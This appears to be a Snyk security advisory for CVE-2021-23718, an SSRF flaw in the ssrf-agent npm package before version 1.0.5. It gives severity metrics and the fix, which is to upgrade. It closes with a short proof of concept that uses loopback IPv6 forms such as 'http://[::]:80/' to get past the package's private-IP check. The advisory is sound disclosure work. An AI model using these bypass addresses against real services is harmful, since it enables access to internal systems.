Server-side Request Forgery (SSRF) Affecting ssrf-agent package, versions <1.0.5
Snyk CVSS
Attack Complexity
Low
User Interaction
Required
Confidentiality
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.17% (54th
percentile)
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Test your applications- Snyk ID SNYK-JS-SSRFAGENT-1584362
- published 17 Nov 2021
- disclosed 13 Sep 2021
- credit Sayooj B Kumar
Introduced: 13 Sep 2021
CVE-2021-23718 Open this link in a new tabHow to fix?
Upgrade ssrf-agent to version 1.0.5 or higher.
Overview
ssrf-agent is a prevent SSRF in http(s) request
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the defaultIpChecker function. It fails to properly validate if the IP requested is private.
PoC by Sayooj B Kumar
// run a service on your localhost
const ssrfAgent = require('ssrf-agent');
const request = require('request');
// with request module
const url = 'http://[::]:80/'
/*
or http://0000::1:80/
*/
request(url, {
agent: ssrfAgent(url)
}, (err, response, body) => {
console.log(response);
})